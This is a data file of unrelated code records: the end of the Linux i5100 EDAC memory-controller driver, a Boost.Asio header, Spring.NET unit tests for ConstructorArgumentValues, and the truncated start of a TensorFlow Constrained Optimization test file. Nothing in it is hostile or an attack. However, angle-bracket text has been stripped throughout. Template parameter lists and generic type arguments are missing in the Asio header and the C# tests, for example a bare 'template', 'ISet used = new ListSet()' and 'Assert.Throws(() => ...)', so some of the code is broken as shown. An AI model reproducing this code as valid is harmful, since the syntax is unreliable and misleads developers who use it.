i5100_init_dimm_layout(struct pci_dev *pdev,\n\t\t\t\t\t struct mem_ctl_info *mci)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tint i;\n\n\tfor (i = 0; i < I5100_CHANNELS; i++) {\n\t\tint j;\n\n\t\tfor (j = 0; j < I5100_MAX_DIMM_SLOTS_PER_CHAN; j++) {\n\t\t\tu8 rank;\n\n\t\t\tif (i5100_read_spd_byte(mci, i, j, 5, &rank) < 0)\n\t\t\t\tpriv->dimm_numrank[i][j] = 0;\n\t\t\telse\n\t\t\t\tpriv->dimm_numrank[i][j] = (rank & 3) + 1;\n\t\t}\n\t}\n\n\ti5100_init_dimm_csmap(mci);\n}\n\nstatic void __devinit i5100_init_interleaving(struct pci_dev *pdev,\n\t\t\t\t\t struct mem_ctl_info *mci)\n{\n\tu16 w;\n\tu32 dw;\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tstruct pci_dev *mms[2] = { priv->ch0mm, priv->ch1mm };\n\tint i;\n\n\tpci_read_config_word(pdev, I5100_TOLM, &w);\n\tpriv->tolm = (u64) i5100_tolm_tolm(w) * 256 * 1024 * 1024;\n\n\tpci_read_config_word(pdev, I5100_MIR0, &w);\n\tpriv->mir[0].limit = (u64) i5100_mir_limit(w) << 28;\n\tpriv->mir[0].way[1] = i5100_mir_way1(w);\n\tpriv->mir[0].way[0] = i5100_mir_way0(w);\n\n\tpci_read_config_word(pdev, I5100_MIR1, &w);\n\tpriv->mir[1].limit = (u64) i5100_mir_limit(w) << 28;\n\tpriv->mir[1].way[1] = i5100_mir_way1(w);\n\tpriv->mir[1].way[0] = i5100_mir_way0(w);\n\n\tpci_read_config_word(pdev, I5100_AMIR_0, &w);\n\tpriv->amir[0] = w;\n\tpci_read_config_word(pdev, I5100_AMIR_1, &w);\n\tpriv->amir[1] = w;\n\n\tfor (i = 0; i < I5100_CHANNELS; i++) {\n\t\tint j;\n\n\t\tfor (j = 0; j < 5; j++) {\n\t\t\tint k;\n\n\t\t\tpci_read_config_dword(mms[i], I5100_DMIR + j * 4, &dw);\n\n\t\t\tpriv->dmir[i][j].limit =\n\t\t\t\t(u64) i5100_dmir_limit(dw) << 28;\n\t\t\tfor (k = 0; k < I5100_MAX_RANKS_PER_DIMM; k++)\n\t\t\t\tpriv->dmir[i][j].rank[k] =\n\t\t\t\t\ti5100_dmir_rank(dw, k);\n\t\t}\n\t}\n\n\ti5100_init_mtr(mci);\n}\n\nstatic void __devinit i5100_init_csrows(struct mem_ctl_info *mci)\n{\n\tint i;\n\tunsigned long total_pages = 0UL;\n\tstruct i5100_priv *priv = mci->pvt_info;\n\n\tfor (i = 0; i < mci->nr_csrows; i++) {\n\t\tconst unsigned long npages = i5100_npages(mci, i);\n\t\tconst unsigned chan = i5100_csrow_to_chan(mci, i);\n\t\tconst unsigned rank = i5100_csrow_to_rank(mci, i);\n\n\t\tif (!npages)\n\t\t\tcontinue;\n\n\t\tmci->csrows[i].first_page = total_pages;\n\t\tmci->csrows[i].last_page = total_pages + npages - 1;\n\t\tmci->csrows[i].page_mask = 0UL;\n\n\t\tmci->csrows[i].nr_pages = npages;\n\t\tmci->csrows[i].grain = 32;\n\t\tmci->csrows[i].csrow_idx = i;\n\t\tmci->csrows[i].dtype =\n\t\t\t(priv->mtr[chan][rank].width == 4) ? DEV_X4 : DEV_X8;\n\t\tmci->csrows[i].ue_count = 0;\n\t\tmci->csrows[i].ce_count = 0;\n\t\tmci->csrows[i].mtype = MEM_RDDR2;\n\t\tmci->csrows[i].edac_mode = EDAC_SECDED;\n\t\tmci->csrows[i].mci = mci;\n\t\tmci->csrows[i].nr_channels = 1;\n\t\tmci->csrows[i].channels[0].chan_idx = 0;\n\t\tmci->csrows[i].channels[0].ce_count = 0;\n\t\tmci->csrows[i].channels[0].csrow = mci->csrows + i;\n\t\tsnprintf(mci->csrows[i].channels[0].label,\n\t\t\t sizeof(mci->csrows[i].channels[0].label),\n\t\t\t \"DIMM%u\", i5100_rank_to_slot(mci, chan, rank));\n\n\t\ttotal_pages += npages;\n\t}\n}\n\nstatic int __devinit i5100_init_one(struct pci_dev *pdev,\n\t\t\t\t const struct pci_device_id *id)\n{\n\tint rc;\n\tstruct mem_ctl_info *mci;\n\tstruct i5100_priv *priv;\n\tstruct pci_dev *ch0mm, *ch1mm;\n\tint ret = 0;\n\tu32 dw;\n\tint ranksperch;\n\n\tif (PCI_FUNC(pdev->devfn) != 1)\n\t\treturn -ENODEV;\n\n\trc = pci_enable_device(pdev);\n\tif (rc < 0) {\n\t\tret = rc;\n\t\tgoto bail;\n\t}\n\n\t/* ECC enabled? */\n\tpci_read_config_dword(pdev, I5100_MC, &dw);\n\tif (!i5100_mc_errdeten(dw)) {\n\t\tprintk(KERN_INFO \"i5100_edac: ECC not enabled.\\n\");\n\t\tret = -ENODEV;\n\t\tgoto bail_pdev;\n\t}\n\n\t/* figure out how many ranks, from strapped state of 48GB_Mode input */\n\tpci_read_config_dword(pdev, I5100_MS, &dw);\n\tranksperch = !!(dw & (1 << 8)) * 2 + 4;\n\n\t/* enable error reporting... */\n\tpci_read_config_dword(pdev, I5100_EMASK_MEM, &dw);\n\tdw &= ~I5100_FERR_NF_MEM_ANY_MASK;\n\tpci_write_config_dword(pdev, I5100_EMASK_MEM, dw);\n\n\t/* device 21, func 0, Channel 0 Memory Map, Error Flag/Mask, etc... */\n\tch0mm = pci_get_device_func(PCI_VENDOR_ID_INTEL,\n\t\t\t\t PCI_DEVICE_ID_INTEL_5100_21, 0);\n\tif (!ch0mm) {\n\t\tret = -ENODEV;\n\t\tgoto bail_pdev;\n\t}\n\n\trc = pci_enable_device(ch0mm);\n\tif (rc < 0) {\n\t\tret = rc;\n\t\tgoto bail_ch0;\n\t}\n\n\t/* device 22, func 0, Channel 1 Memory Map, Error Flag/Mask, etc... */\n\tch1mm = pci_get_device_func(PCI_VENDOR_ID_INTEL,\n\t\t\t\t PCI_DEVICE_ID_INTEL_5100_22, 0);\n\tif (!ch1mm) {\n\t\tret = -ENODEV;\n\t\tgoto bail_disable_ch0;\n\t}\n\n\trc = pci_enable_device(ch1mm);\n\tif (rc < 0) {\n\t\tret = rc;\n\t\tgoto bail_ch1;\n\t}\n\n\tmci = edac_mc_alloc(sizeof(*priv), ranksperch * 2, 1, 0);\n\tif (!mci) {\n\t\tret = -ENOMEM;\n\t\tgoto bail_disable_ch1;\n\t}\n\n\tmci->dev = &pdev->dev;\n\n\tpriv = mci->pvt_info;\n\tpriv->ranksperchan = ranksperch;\n\tpriv->mc = pdev;\n\tpriv->ch0mm = ch0mm;\n\tpriv->ch1mm = ch1mm;\n\n\tINIT_DELAYED_WORK(&(priv->i5100_scrubbing), i5100_refresh_scrubbing);\n\n\t/* If scrubbing was already enabled by the bios, start maintaining it */\n\tpci_read_config_dword(pdev, I5100_MC, &dw);\n\tif (i5100_mc_scrben(dw)) {\n\t\tpriv->scrub_enable = 1;\n\t\tschedule_delayed_work(&(priv->i5100_scrubbing),\n\t\t\t\t I5100_SCRUB_REFRESH_RATE);\n\t}\n\n\ti5100_init_dimm_layout(pdev, mci);\n\ti5100_init_interleaving(pdev, mci);\n\n\tmci->mtype_cap = MEM_FLAG_FB_DDR2;\n\tmci->edac_ctl_cap = EDAC_FLAG_SECDED;\n\tmci->edac_cap = EDAC_FLAG_SECDED;\n\tmci->mod_name = \"i5100_edac.c\";\n\tmci->mod_ver = \"not versioned\";\n\tmci->ctl_name = \"i5100\";\n\tmci->dev_name = pci_name(pdev);\n\tmci->ctl_page_to_phys = NULL;\n\n\tmci->edac_check = i5100_check_error;\n\tmci->set_sdram_scrub_rate = i5100_set_scrub_rate;\n\tmci->get_sdram_scrub_rate = i5100_get_scrub_rate;\n\n\ti5100_init_csrows(mci);\n\n\t/* this strange construction seems to be in every driver, dunno why */\n\tswitch (edac_op_state) {\n\tcase EDAC_OPSTATE_POLL:\n\tcase EDAC_OPSTATE_NMI:\n\t\tbreak;\n\tdefault:\n\t\tedac_op_state = EDAC_OPSTATE_POLL;\n\t\tbreak;\n\t}\n\n\tif (edac_mc_add_mc(mci)) {\n\t\tret = -ENODEV;\n\t\tgoto bail_scrub;\n\t}\n\n\treturn ret;\n\nbail_scrub:\n\tpriv->scrub_enable = 0;\n\tcancel_delayed_work_sync(&(priv->i5100_scrubbing));\n\tedac_mc_free(mci);\n\nbail_disable_ch1:\n\tpci_disable_device(ch1mm);\n\nbail_ch1:\n\tpci_dev_put(ch1mm);\n\nbail_disable_ch0:\n\tpci_disable_device(ch0mm);\n\nbail_ch0:\n\tpci_dev_put(ch0mm);\n\nbail_pdev:\n\tpci_disable_device(pdev);\n\nbail:\n\treturn ret;\n}\n\nstatic void __devexit i5100_remove_one(struct pci_dev *pdev)\n{\n\tstruct mem_ctl_info *mci;\n\tstruct i5100_priv *priv;\n\n\tmci = edac_mc_del_mc(&pdev->dev);\n\n\tif (!mci)\n\t\treturn;\n\n\tpriv = mci->pvt_info;\n\n\tpriv->scrub_enable = 0;\n\tcancel_delayed_work_sync(&(priv->i5100_scrubbing));\n\n\tpci_disable_device(pdev);\n\tpci_disable_device(priv->ch0mm);\n\tpci_disable_device(priv->ch1mm);\n\tpci_dev_put(priv->ch0mm);\n\tpci_dev_put(priv->ch1mm);\n\n\tedac_mc_free(mci);\n}\n\nstatic const struct pci_device_id i5100_pci_tbl[] __devinitdata = {\n\t/* Device 16, Function 0, Channel 0 Memory Map, Error Flag/Mask, ... */\n\t{ PCI_DEVICE(PCI_VENDOR_ID_INTEL, PCI_DEVICE_ID_INTEL_5100_16) },\n\t{ 0, }\n};\nMODULE_DEVICE_TABLE(pci, i5100_pci_tbl);\n\nstatic struct pci_driver i5100_driver = {\n\t.name = KBUILD_BASENAME,\n\t.probe = i5100_init_one,\n\t.remove = __devexit_p(i5100_remove_one),\n\t.id_table = i5100_pci_tbl,\n};\n\nstatic int __init i5100_init(void)\n{\n\tint pci_rc;\n\n\tpci_rc = pci_register_driver(&i5100_driver);\n\n\treturn (pci_rc < 0) ? pci_rc : 0;\n}\n\nstatic void __exit i5100_exit(void)\n{\n\tpci_unregister_driver(&i5100_driver);\n}\n\nmodule_init(i5100_init);\nmodule_exit(i5100_exit);\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR\n (\"Arthur Jones \");\nMODULE_DESCRIPTION(\"MC Driver for Intel I5100 memory controllers\");\n"} -{"text": "//\n// detail/global.hpp\n// ~~~~~~~~~~~~~~~~~\n//\n// Copyright (c) 2003-2018 Christopher M. Kohlhoff (chris at kohlhoff dot com)\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n\n#ifndef ASIO_DETAIL_GLOBAL_HPP\n#define ASIO_DETAIL_GLOBAL_HPP\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1200)\n# pragma once\n#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)\n\n#include \"asio/detail/config.hpp\"\n\n#if !defined(ASIO_HAS_THREADS)\n# include \"asio/detail/null_global.hpp\"\n#elif defined(ASIO_WINDOWS)\n# include \"asio/detail/win_global.hpp\"\n#elif defined(ASIO_HAS_PTHREADS)\n# include \"asio/detail/posix_global.hpp\"\n#elif defined(ASIO_HAS_STD_CALL_ONCE)\n# include \"asio/detail/std_global.hpp\"\n#else\n# error Only Windows, POSIX and std::call_once are supported!\n#endif\n\nnamespace asio {\nnamespace detail {\n\ntemplate \ninline T& global()\n{\n#if !defined(ASIO_HAS_THREADS)\n return null_global();\n#elif defined(ASIO_WINDOWS)\n return win_global();\n#elif defined(ASIO_HAS_PTHREADS)\n return posix_global();\n#elif defined(ASIO_HAS_STD_CALL_ONCE)\n return std_global();\n#endif\n}\n\n} // namespace detail\n} // namespace asio\n\n#endif // ASIO_DETAIL_GLOBAL_HPP\n"} -{"text": "#region License\n\n/*\n * Copyright \u00a9 2002-2011 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#endregion\n\n#region Imports\n\nusing System;\nusing NUnit.Framework;\nusing Spring.Collections;\n\n#endregion\n\nnamespace Spring.Objects.Factory.Config\n{\n\t/// \n\t/// Unit tests for the ConstructorArgumentValues class.\n\t/// \n\t/// Rick Evans (.NET)\n\t[TestFixture]\n\tpublic sealed class ConstructorArgumentValuesTests\n\t{\n\t\t[Test]\n\t\tpublic void Instantiation()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tAssert.IsNotNull(values.GenericArgumentValues, \"The 'GenericArgumentValues' property was not initialised.\");\n\t\t\tAssert.IsNotNull(values.IndexedArgumentValues, \"The 'IndexedArgumentValues' property was not initialised.\");\n\t\t\tAssert.IsNotNull(values.NamedArgumentValues, \"The 'NamedArgumentValues' property was not initialised.\");\n\t\t\tAssert.AreEqual(0, values.ArgumentCount, \"There were some arguments in a newly initialised instance.\");\n\t\t\tAssert.IsTrue(values.Empty, \"A newly initialised instance was not initially empty.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void GetGenericArgumentValueIgnoresAlreadyUsedValues()\n\t\t{\n\t\t\tISet used = new ListSet();\n\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddGenericArgumentValue(1);\n\t\t\tvalues.AddGenericArgumentValue(2);\n\t\t\tvalues.AddGenericArgumentValue(3);\n\n\t\t\tType intType = typeof (int);\n\t\t\tConstructorArgumentValues.ValueHolder one = values.GetGenericArgumentValue(intType, used);\n\t\t\tAssert.AreEqual(1, one.Value);\n\t\t\tused.Add(one);\n\t\t\tConstructorArgumentValues.ValueHolder two = values.GetGenericArgumentValue(intType, used);\n\t\t\tAssert.AreEqual(2, two.Value);\n\t\t\tused.Add(two);\n\t\t\tConstructorArgumentValues.ValueHolder three = values.GetGenericArgumentValue(intType, used);\n\t\t\tAssert.AreEqual(3, three.Value);\n\t\t\tused.Add(three);\n\t\t\tConstructorArgumentValues.ValueHolder four = values.GetGenericArgumentValue(intType, used);\n\t\t\tAssert.IsNull(four);\n\t\t}\n\n\t\t[Test]\n\t\tpublic void GetGeneric_Untyped_ArgumentValue()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tconst string expectedValue = \"Rick\";\n\t\t\tvalues.AddGenericArgumentValue(expectedValue);\n\n\t\t\tConstructorArgumentValues.ValueHolder name = values.GetGenericArgumentValue(null, null);\n\t\t\tAssert.IsNotNull(name,\n\t\t\t\t\"Must get non-null valueholder back if no required type is specified.\");\n\t\t\tAssert.AreEqual(expectedValue, name.Value);\n\t\t}\n\n\t\t[Test]\n\t\tpublic void GetGeneric_Untyped_ArgumentValueWithOnlyStronglyTypedValuesInTheCtorValueList()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tconst string expectedValue = \"Rick\";\n\t\t\tvalues.AddGenericArgumentValue(expectedValue, typeof(string).FullName);\n\n\t\t\tConstructorArgumentValues.ValueHolder name = values.GetGenericArgumentValue(null, null);\n\t\t\tAssert.IsNull(name,\n\t\t\t\t\"Must get null valueholder back if no required type is specified but only \" +\n\t\t\t\t\"strongly typed values are present in the ctor values list.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void GetArgumentValueIgnoresAlreadyUsedValues()\n\t\t{\n\t\t\tISet used = new ListSet();\n\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddGenericArgumentValue(1);\n\t\t\tvalues.AddNamedArgumentValue(\"2\", 2);\n\t\t\tvalues.AddIndexedArgumentValue(3, 3);\n\n\t\t\tType intType = typeof (int);\n\t\t\tConstructorArgumentValues.ValueHolder one = values.GetArgumentValue(10, string.Empty, intType, used);\n\t\t\tAssert.AreEqual(1, one.Value);\n\t\t\tused.Add(one);\n\t\t\tConstructorArgumentValues.ValueHolder two = values.GetArgumentValue(10, \"2\", intType, used);\n\t\t\tAssert.AreEqual(2, two.Value);\n\t\t\tused.Add(two);\n\t\t\tConstructorArgumentValues.ValueHolder three = values.GetArgumentValue(3, string.Empty, intType, used);\n\t\t\tAssert.AreEqual(3, three.Value);\n\t\t\tused.Add(three);\n\t\t\tConstructorArgumentValues.ValueHolder four = values.GetArgumentValue(10, string.Empty, intType, used);\n\t\t\tAssert.IsNull(four);\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddNamedArgumentWithNullName()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n Assert.Throws(() => values.AddNamedArgumentValue(null, 1));\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddNamedArgumentWithEmptyStringName()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n Assert.Throws(() => values.AddNamedArgumentValue(string.Empty, 1));\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddNamedArgumentWithWhitespaceStringName()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n Assert.Throws(() => values.AddNamedArgumentValue(Environment.NewLine + \" \", 1));\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddIndexedArgumentValue()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddIndexedArgumentValue(1, DBNull.Value);\n\t\t\tAssert.IsFalse(values.Empty, \"Added one value, but the collection is sayin' it's empty.\");\n\t\t\tAssert.AreEqual(1, values.ArgumentCount, \"Added one value, but the collection ain't sayin' that it's got a single element in it.\");\n\t\t\tAssert.AreEqual(1, values.IndexedArgumentValues.Count, \"Added one indexed value, but the collection of indexed values ain't sayin' that it's got a single element in it.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddGenericArgumentValue()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddGenericArgumentValue(DBNull.Value);\n\t\t\tAssert.IsFalse(values.Empty, \"Added one value, but the collection is sayin' it's empty.\");\n\t\t\tAssert.AreEqual(1, values.ArgumentCount, \"Added one value, but the collection ain't sayin' that it's got a single element in it.\");\n\t\t\tAssert.AreEqual(1, values.GenericArgumentValues.Count, \"Added one generic value, but the collection of indexed values ain't sayin' that it's got a single element in it.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void GetIndexedArgumentValue()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tAssert.IsNull(values.GetIndexedArgumentValue(0, typeof (object)), \"Mmm... managed to get a non null instance back from an empty instance.\");\n\t\t\tvalues.AddIndexedArgumentValue(16, DBNull.Value, typeof (DBNull).FullName);\n\t\t\tAssert.IsNull(values.GetIndexedArgumentValue(0, typeof (object)), \"Mmm... managed to get a non null instance back from an instance that should have now't at the specified index.\");\n\t\t\tConstructorArgumentValues.ValueHolder value =\n\t\t\t\tvalues.GetIndexedArgumentValue(16, typeof (DBNull));\n\t\t\tAssert.IsNotNull(value, \"Stored a value at a specified index, but got null when retrieving it.\");\n\t\t\tAssert.AreSame(DBNull.Value, value.Value, \"The value stored at the specified index was not the exact same instance as was added.\");\n\t\t\tConstructorArgumentValues.ValueHolder wrongValue =\n\t\t\t\tvalues.GetIndexedArgumentValue(16, typeof (string));\n\t\t\tAssert.IsNull(wrongValue, \"Stored a value at a specified index, and got it (or rather something) back when retrieving it with the wrong Type specified.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void GetGenericArgumentValue()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tAssert.IsNull(values.GetGenericArgumentValue(typeof (object)), \"Mmm... managed to get a non null instance back from an empty instance.\");\n\t\t\tvalues.AddGenericArgumentValue(DBNull.Value, typeof (DBNull).FullName);\n\t\t\tAssert.IsNull(values.GetGenericArgumentValue(typeof (string)), \"Mmm... managed to get a non null instance back from an instance that should have now't with the specified Type.\");\n\t\t\tConstructorArgumentValues.ValueHolder value =\n\t\t\t\tvalues.GetGenericArgumentValue(typeof (DBNull));\n\t\t\tAssert.IsNotNull(value, \"Stored a value of a specified Type, but got null when retrieving it using said Type.\");\n\t\t\tAssert.AreSame(DBNull.Value, value.Value, \"The value stored at the specified index was not the exact same instance as was added.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void GetArgumentValue()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tAssert.IsNull(values.GetArgumentValue(0, typeof (object)), \"Mmm... managed to get a non null instance back from an empty instance.\");\n\t\t\tvalues.AddGenericArgumentValue(DBNull.Value, typeof (DBNull).FullName);\n\t\t\tvalues.AddNamedArgumentValue(\"foo\", DBNull.Value);\n\t\t\tvalues.AddIndexedArgumentValue(16, DBNull.Value, typeof (DBNull).FullName);\n\t\t\tAssert.IsNull(values.GetArgumentValue(100, typeof (string)), \"Mmm... managed to get a non null instance back from an instance that should have now't with the specified Type.\");\n\t\t\tConstructorArgumentValues.ValueHolder value =\n\t\t\t\tvalues.GetArgumentValue(-3, typeof (DBNull));\n\t\t\tAssert.IsNotNull(value, \"Stored a value of a specified Type at a specified index, but got null when retrieving it using the wrong index but the correct Type.\");\n\t\t\tAssert.AreSame(DBNull.Value, value.Value, \"The retrieved value was not the exact same instance as was added.\");\n\t\t\t\n\t\t\tvalue = values.GetArgumentValue(\"foo\", typeof (DBNull));\n\t\t\tAssert.IsNotNull(value, \"Stored a value of a specified Type under a name, but got null when retrieving it using the wrong name but the correct Type.\");\n\t\t\tAssert.AreSame(DBNull.Value, value.Value, \"The retrieved value was not the exact same instance as was added.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddAllDoesntChokeOnNullArgument()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddAll(null);\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddAllFromOther()\n\t\t{\n\t\t\tConstructorArgumentValues other = new ConstructorArgumentValues();\n\t\t\tother.AddIndexedArgumentValue(1, DBNull.Value);\n\t\t\tother.AddIndexedArgumentValue(2, \"Foo\");\n\t\t\tother.AddIndexedArgumentValue(3, 3);\n\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddAll(other);\n\t\t\tAssert.AreEqual(other.ArgumentCount, values.ArgumentCount,\n\t\t\t\t\"Must have been the same since one was filled up with the values in the other.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddRangeOfIndexedArgumentValues()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddIndexedArgumentValue(1, DBNull.Value);\n\t\t\tvalues.AddIndexedArgumentValue(2, \"Foo\");\n\t\t\tvalues.AddIndexedArgumentValue(3, 3);\n\t\t\tnew ConstructorArgumentValues(values);\n\t\t\tAssert.IsFalse(values.Empty, \"Added three indexed values(as a range), but the collection is sayin' it's empty.\");\n\t\t\tAssert.AreEqual(3, values.ArgumentCount, \"Added three indexed values(as a range), but the collection ain't sayin' that it's got 3 elements in it.\");\n\t\t\tAssert.AreEqual(3, values.IndexedArgumentValues.Count, \"Added three indexed values(as a range), but the collection of indexed values ain't sayin' that it's got 3 elements in it.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void NamedArgumentsAreCaseInsensitive()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddNamedArgumentValue(\"foo\", \"sball\");\n\t\t\tAssert.AreEqual(1, values.NamedArgumentValues.Count, \"Added one named argument but it doesn't seem to have been added to the named arguments collection.\");\n\t\t\tAssert.AreEqual(1, values.ArgumentCount, \"Added one named argument but it doesn't seem to be reflected in the overall argument count.\");\n\t\t\tAssert.IsTrue(values.ContainsNamedArgument(\"FOo\"), \"Mmm, the ContainsNamedArgument() method eveidently IS case sensitive (which is wrong).\");\n\t\t\tConstructorArgumentValues.ValueHolder arg = values.GetNamedArgumentValue(\"fOo\");\n\t\t\tAssert.IsNotNull(arg, \"The named argument previously added could not be pulled from the ctor arg collection.\");\n\t\t\tAssert.AreEqual(\"sball\", arg.Value, \"The value of the named argument passed in is not the same as the one that was pulled out.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddNamedArgument()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddNamedArgumentValue(\"foo\", \"sball\");\n\t\t\tAssert.AreEqual(1, values.NamedArgumentValues.Count, \"Added one named argument but it doesn't seem to have been added to the named arguments collection.\");\n\t\t\tAssert.AreEqual(1, values.ArgumentCount, \"Added one named argument but it doesn't seem to be reflected in the overall argument count.\");\n\t\t\tConstructorArgumentValues.ValueHolder arg = values.GetNamedArgumentValue(\"foo\");\n\t\t\tAssert.IsNotNull(arg, \"The named argument previously added could not be pulled from the ctor arg collection.\");\n\t\t\tAssert.AreEqual(\"sball\", arg.Value, \"The value of the named argument passed in is not the same as the one that was pulled out.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void AddNamedArgumentFromAotherCtorArgCollection()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddNamedArgumentValue(\"foo\", \"sball\");\n\t\t\tConstructorArgumentValues copy = new ConstructorArgumentValues(values);\n\t\t\tAssert.AreEqual(1, copy.NamedArgumentValues.Count, \"Added one named argument but it doesn't seem to have been added to the named arguments collection.\");\n\t\t\tAssert.AreEqual(1, copy.ArgumentCount, \"Added one named argument but it doesn't seem to be reflected in the overall argument count.\");\n\t\t\tConstructorArgumentValues.ValueHolder arg = copy.GetNamedArgumentValue(\"foo\");\n\t\t\tAssert.IsNotNull(arg, \"The named argument previously added could not be pulled from the ctor arg collection.\");\n\t\t\tAssert.AreEqual(\"sball\", arg.Value, \"The value of the named argument passed in is not the same as the one that was pulled out.\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void ValueHolderToStringsNicely()\n\t\t{\n\t\t\tConstructorArgumentValues values = new ConstructorArgumentValues();\n\t\t\tvalues.AddGenericArgumentValue(1, typeof(int).FullName);\n\t\t\tConstructorArgumentValues.ValueHolder vh = values.GetGenericArgumentValue(typeof(int));\n\t\t\tAssert.AreEqual(\"'1' [System.Int32]\", vh.ToString());\n\t\t}\n\t}\n}"} -{"text": "# Copyright 2018 The TensorFlow Constrained Optimization Authors. All Rights\n# Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n# ==============================================================================\n\"\"\"Tests for operations.py.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow.compat.v2 as tf\n\nfrom tensorflow_constrained_optimization.python import graph_and_eager_test_case\nfrom tensorflow_constrained_optimization.python.rates import defaults\nfrom tensorflow_constrained_optimization.python.rates import deferred_tensor\nfrom tensorflow_constrained_optimization.python.rates import operations\n# Placeholder for internal import.\n\n\n# @run_all_tests_in_graph_and_eager_modes\nclass OperationsTest(graph_and_eager_test_case.GraphAndEagerTestCase):\n \"\"\"Tests for `Expression`-manipulation functions.\"\"\"\n\n def _evaluate_expression(self, expression, extra_update_ops_fn=None):\n \"\"\"Evaluates and returns both portions of an Expression.\n\n Args:\n expression: `Expression` to evaluate.\n extra_update_ops_fn: function that takes an `EvaluationMemoizer` and the\n list of `DeferredVariables`, and returns a list of ops to execute before\n evaluation.\n\n Returns:\n A pair (penalty,constraint) containing the values of the penalty and\n constraint portions of the `Expression`.\n \"\"\"\n structure_memoizer = {\n defaults.DENOMINATOR_LOWER_BOUND_KEY: 0.0,\n defaults.GLOBAL_STEP_KEY: tf.Variable(0, dtype=tf.int32),\n defaults.VARIABLE_FN_KEY: tf.Variable\n }\n\n penalty_value = expression.penalty_expression.evaluate(structure_memoizer)\n constraint_value = expression.constraint_expression.evaluate(\n structure_memoizer)\n\n # We need to explicitly create the variables before creating the wrapped\n # session.\n variables = deferred_tensor.DeferredVariableList(\n penalty_value.variables + constraint_value.variables).list\n for variable in variables:\n variable.create(structure_memoizer)\n\n def update_ops_fn():\n if not extra_update_ops_fn:\n update_ops = []\n else:\n update_ops = extra_update_ops_fn(structure_memoizer, variables)\n for variable in variables:\n update_ops += variable.update_ops(structure_memoizer)\n return update_ops\n\n with self.wrapped_session() as session:\n session.run_ops(update_ops_fn)\n return [\n session.run(penalty_value(structure_memoizer)),\n session.run(constraint_value(structure_memoizer))\n ]\n\n def test_wrap_rate_raises(self):\n \"\"\"Make sure that wrap_rate() raises if given an `Expression`.\"\"\"\n penalty_value = 3.1\n constraint_value = 2.7\n\n wrapped = operations.wrap_rate(penalty_value, constraint_value)\n # We should raise a TypeError if either or both of the parameters to\n # wrap_rate() are Expressions.\n with self.assertRaises(TypeError):\n operations.wrap_rate(penalty_value, wrapped)\n with self.assertRaises(TypeError):\n operations.wrap_rate(wrapped, constraint_value)\n with self.assertRaises(TypeError):\n operations.wrap_rate(wrapped, wrapped)\n\n def test_wrap_rate_penalty(self):\n \"\"\"Make sure that wrap_rate() works 